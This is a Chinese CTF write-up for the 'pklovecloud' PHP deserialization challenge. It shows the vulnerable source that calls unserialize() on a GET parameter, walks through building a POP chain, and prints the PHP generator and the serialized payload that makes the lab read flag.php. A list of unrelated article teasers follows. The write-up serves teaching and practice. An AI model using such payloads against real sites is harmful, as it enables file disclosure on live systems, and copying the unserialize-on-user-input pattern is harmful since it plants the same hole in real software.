php反序列化漏洞典型例题
1.靶场环境
ctfhub-技能树-pklovecloud
引用题目:
2021-第五空间智能安全大赛-Web-pklovecloud
2.过程
2.1源代码
启动靶场环境,访问靶场环境,显示源码:直接贴在下面:
<?php
include 'flag.php';
class pkshow
{ function echo_name() { return "Pk very safe^.^"; }
} class acp
{ protected $cinder; public $neutron;public $nova;function __construct() { $this->cinder = new pkshow;} function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); }
} class ace
{ public $filename; public $openstack;public $docker; function echo_name() { $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } }}
} if (isset($_GET['pks']))
{$logData = unserialize($_GET['pks']);echo $logData;
}
else
{ highlight_file(__file__);
}
?>
2.2代码审计思路
进行一下代码审计,记录一下思路:
1.直接看主函数:
if (isset($_GET['pks']))
{$logData = unserialize($_GET['pks']);echo $logData;
}
else
{ highlight_file(__file__);
}
要进入if语句中,就必须传入一个get参数pks,然后对pks参数进行反序列化,获得logData对象,并且输出这个logData对象。
2.echo在输出一个对象时,是去调用这个对象的__toString()方法,因此我们跟踪到logData的__toString()方法:我们发现声明的acp对象有__toString()方法:
class acp
{ protected $cinder; public $neutron;public $nova;function __construct() { $this->cinder = new pkshow;} function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); }
}
3.这就说明在主函数中要echo一个logData对象,我们只需要让这个logData对象是acp类即可,因此我们构造pop链时首先创建一个acp对象。
4.我们观察到acp对象的__toString()方法中的if语句,要进入到这个if语句,就需要acp对象的cinder参数不为空,并且最终会return这个acp对象的cinder属性的echo_name()方法。
5.通过上面我们构造一个pop链:
acp->cinder->echo_name()
6.我们发现声明的pkshow和ace对象都有echo_name()方法,而很明显pkshow的echo_name()方法是写死的没有参数传入的,因此我们需要使用ace对象。所以根据上面的调用链,我们需要让acp对象的cinder参数为ace对象。
综合以上几点,我们需要构造pop链:
$acp=new acp();
$ace=new $ace();
$acp->cinder=$ace;
7.通过以上pop链,已经可以调用到ace对象的echo_name()方法了,我们去看这个方法的执行逻辑:
class ace
{ public $filename; public $openstack;public $docker; function echo_name() { $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } }}
}
发现最终的结果是返回$file指向文件的内容,因此我们设置$file="flag.php",而我们要进入if循环,就需要满足$this->openstack->neutron === $this->openstack->nova,也就是ace对象的openstack参数的neutron属性和nova属性相等,我们发现acp对象有这两个属性,因此我们要让ace对象的openstack属性为acp对象:需要新建一个acp对象。
$this->openstack = unserialize($this->docker);
根据这行代码我们判断openstack参数是由docker参数反序列化得到的,因此ace对象的docker参数就是acp对象。下一行代码:
$this->openstack->neutron = $heat;
这行代码中heat参数并不存在,因此neutron的值为null,我们需要让nova参数的值也为null,因此我们在声明acp对象的时候,不需要给nova赋值,结合上述构造pop链:
class acp
{ public $cinder; public $neutron;public $nova;
}
class ace
{ public $filename; public $openstack;public $docker;
}
$acp=new acp();$acp2=new acp();$ace=new $ace();
$ace->filename="flag.php";
$ace->docker=serialize($acp2);$acp->cinder=$ace;
echo serialize($acp);
这样最后输出的值就是我们构造的恶意参数:
得到pop链:
O:3:"acp":3:{s:6:"cinder";O:3:"ace":3:{s:8:"filename";s:8:"flag.php";s:9:"openstack";N;s:6:"docker";s:58:"O:3:"acp":3:{s:6:"cinder";N;s:7:"neutron";N;s:4:"nova";N;}";}s:7:"neutron";N;s:4:"nova";N;}
访问index.php构造恶意参数pks,F12查看源码获得flag:
相关文章:

php反序列化漏洞典型例题
1.靶场环境 ctfhub-技能树-pklovecloud 引用题目: 2021-第五空间智能安全大赛-Web-pklovecloud 2.过程 2.1源代码 启动靶场环境,访问靶场环境,显示源码:直接贴在下面: <?php include flag.php; class pks…...

浅析Android View绘制过程中的Surface
前言 在《浅析Android中View的测量布局流程》中我们对VSYNC信号到达App进程之后开启的View布局过程进行了分析,经过对整个App界面的View树进行遍历完成了测量和布局,确定了View的大小以及在屏幕中所处的位置。但是,如果想让用户在屏幕上看到…...

基于卷积神经网络的大豆种子缺陷识别系统,resnet50,mobilenet模型【pytorch框架+python源码】
更多目标检测和图像分类识别项目可看我主页其他文章 功能演示: 大豆种子缺陷识别系统,卷积神经网络,resnet50,mobilenet【pytorch框架,python源码】_哔哩哔哩_bilibili (一)简介 基于卷积神…...
HarmonyOS项目开发一多简介
目录 一、布局能力概述 二、自适应布局 三、响应式布局 四、典型布局场景 一、布局能力概述 布局决定页面元素排布及显示:在页面设计及开发中,布局能力至关重要,主要通过组件结构来确定使用何种布局。 自适应布局与响应式布局࿱…...

C++基础三
构造函数 构造函数(初始化类成员变量): 1、属于类的成员函数之一 2、构造函数没有返回类型 3、构造函数的函数名必须与类名相同 4、构造函数不允许手动调用(不能通过类对象调用) 5、构造函数在类对象创建时会被自动调用 6、如果没有显示声…...

利用ChatGPT完成2024年MathorCup大数据挑战赛-赛道A初赛:台风预测与分析
利用ChatGPT完成2024年MathorCup大数据挑战赛-赛道A初赛:台风预测与分析 引言 在2024年MathorCup大数据挑战赛中,赛道A聚焦于气象数据分析,特别是台风的生成、路径预测、和降水风速特性等内容。本次比赛的任务主要是建立一个分类评价模型&…...

Linux系统操作篇 one -文件指令及文件知识铺垫
Linux操作系统入门-系统篇 前言 Linux操作系统与Windows和MacOS这些系统不同,Linux是黑屏的操作系统,操作方式使用的是指令和代码行来进行,因此相对于Windows和MacOS这些带有图形化界面的系统,Linux的入门门槛和上手程度要更高&…...
隨筆20241028 ISR 的收缩与扩展及其机制解析
在 Kafka 中,ISR(In-Sync Replicas) 是一组副本,它们与 Leader 保持同步,确保数据一致性。然而,ISR 的大小会因多种因素而变化,包括收缩和扩展。以下是 ISR 收缩与扩展的详细解释及其背后的机制…...
linux-字符串相关命令
1、cut 提取文件每一行中的内容 下面是一些常用的 cut 命令选项的说明: -c, --characters列表:提取指定字符位置的数据。-d, --delimiter分界符:指定字段的分隔符,默认为制表符。-f, --fieldsLIST:提取指定字段的数据…...

ES6 函数的扩展
ES6 之前,不能直接为函数的参数指定默认值,只能采用变通的方法 ES6 允许为函数的参数设置默认值,即直接写在参数定义的后面 参数变量是默认声明的,所以不能用 let 或 const 再次声明 使用参数默认值时,函数不能有同名参…...
Mac 查看占用特定端口、终止占用端口的进程
在 macOS 上,可以使用以下命令来查看占用特定端口(例如 8080)的进程: lsof -i :8080命令说明 lsof:列出打开的文件和网络连接信息。-i :8080:筛选出正在监听 8080 端口的进程。 输出结果结构 执行上述命…...

C#入坑JAVA MyBatis入门 CURD 批量 联表分页查询
本文,分享 MyBatis 各种常用操作,不限于链表查询、分页查询等等。 1. 分页查询 在 下文的 的「3.4 selectPage」小节,我们使用 MyBatis Plus 实现了分页查询。除了这种方式,我们也可以使用 XML 实现分页查询。 这里,…...

RabbitMQ 安装(Windows版本)和使用
安装 安装包获取 可以自己找资源,我这里也有百度云的资源,如果没失效的话可以直接用。 通过百度网盘分享的文件:RabbitMQ 链接:https://pan.baidu.com/s/1rzcdeTIYQ4BqzHLDSwCgyw?pwdfj79 提取码:fj79 安装教程…...
Apache paimon表管理
表管理 2.9.4.1 管理快照 1)快照过期 Paimon Writer每次提交都会生成一个或两个快照。每个快照可能会添加一些新的数据文件或将一些旧的数据文件标记为已删除。然而,标记的数据文件并没有真正被删除,因为Paimon还支持时间旅行到更早的快照。它们仅在快照过期时被删除。 …...
java 第19天
一.Lambda表达式 前提是:参数是函数式接口才可以书写Lambda表达式 函数式接口条件: 1.接口 2.只有一个抽象方法 lambda表达式又称为匿名函数,允许匿名函数以参数的形式传入方法,简化代码 lambda表达式分为两部分()->{} …...
什么是服务器?服务器与客户端的关系?本地方访问不了网址与服务器访问不了是什么意思?有何区别
服务器是一种高性能的计算机,它通过网络为其他计算机(称为客户端)提供服务。这些服务可以包括文件存储、打印服务、数据库服务或运行应用程序等。服务器通常具有强大的处理器、大量的内存和大容量的存储空间,以便能够处理多个客户…...

Spring(1)—Spring 框架:Java 开发者的春天
一、关于Spring 1.1 简介 Spring 框架是一个功能强大的开源框架,主要用于简化 Java 企业级应用的开发,由被称为“Spring 之父”的 Rod Johnson 于 2002 年提出并创立,并由Pivotal团队维护。它提供了全面的基础设施支持,使开发者…...

MT1401-MT1410 码题集 (c 语言详解)
目录 MT1401归并排序 MT1402堆排序 MT1403后3位排序 MT1404小大大小排序 MT1405小大大小排序II MT1406数字重排 MT1407插入 MT1408插入 MT1409旋转数组 MT1410逆时针旋转数组 MT1401归并排序 c 语言实现代码 #include <stdio.h>// merge two subarrays void merge(int a…...

React基础语法
1.React介绍 React由Meta公司开发,是一个用于构建Web和原生交互界面的库 1.1 React优势 相较于传统基于DOM开发的优势 1.组件化的开发方式 2.不错的性能 相较于其他前端框架的优势 1.丰富的生态 2.跨平台支持 1.2React的时长情况 全球最流行,大厂…...

《Kadane‘s Algorithm专题:最大和连续子数组》
🚀 博主介绍:大家好,我是无休居士!一枚任职于一线Top3互联网大厂的Java开发工程师! 🚀 🌟 在这里,你将找到通往Java技术大门的钥匙。作为一个爱敲代码技术人,我不仅热衷…...
三维GIS开发cesium智慧地铁教程(5)Cesium相机控制
一、环境搭建 <script src"../cesium1.99/Build/Cesium/Cesium.js"></script> <link rel"stylesheet" href"../cesium1.99/Build/Cesium/Widgets/widgets.css"> 关键配置点: 路径验证:确保相对路径.…...
【位运算】消失的两个数字(hard)
消失的两个数字(hard) 题⽬描述:解法(位运算):Java 算法代码:更简便代码 题⽬链接:⾯试题 17.19. 消失的两个数字 题⽬描述: 给定⼀个数组,包含从 1 到 N 所有…...
多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验
一、多模态商品数据接口的技术架构 (一)多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如,当用户上传一张“蓝色连衣裙”的图片时,接口可自动提取图像中的颜色(RGB值&…...

SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现
摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序,以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务,提供稳定高效的数据处理与业务逻辑支持;利用 uniapp 实现跨平台前…...
unix/linux,sudo,其发展历程详细时间线、由来、历史背景
sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...
Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!
一、引言 在数据驱动的背景下,知识图谱凭借其高效的信息组织能力,正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合,探讨知识图谱开发的实现细节,帮助读者掌握该技术栈在实际项目中的落地方法。 …...
CRMEB 框架中 PHP 上传扩展开发:涵盖本地上传及阿里云 OSS、腾讯云 COS、七牛云
目前已有本地上传、阿里云OSS上传、腾讯云COS上传、七牛云上传扩展 扩展入口文件 文件目录 crmeb\services\upload\Upload.php namespace crmeb\services\upload;use crmeb\basic\BaseManager; use think\facade\Config;/*** Class Upload* package crmeb\services\upload* …...

Yolov8 目标检测蒸馏学习记录
yolov8系列模型蒸馏基本流程,代码下载:这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中,**知识蒸馏(Knowledge Distillation)**被广泛应用,作为提升模型…...

R语言速释制剂QBD解决方案之三
本文是《Quality by Design for ANDAs: An Example for Immediate-Release Dosage Forms》第一个处方的R语言解决方案。 第一个处方研究评估原料药粒径分布、MCC/Lactose比例、崩解剂用量对制剂CQAs的影响。 第二处方研究用于理解颗粒外加硬脂酸镁和滑石粉对片剂质量和可生产…...
C语言中提供的第三方库之哈希表实现
一. 简介 前面一篇文章简单学习了C语言中第三方库(uthash库)提供对哈希表的操作,文章如下: C语言中提供的第三方库uthash常用接口-CSDN博客 本文简单学习一下第三方库 uthash库对哈希表的操作。 二. uthash库哈希表操作示例 u…...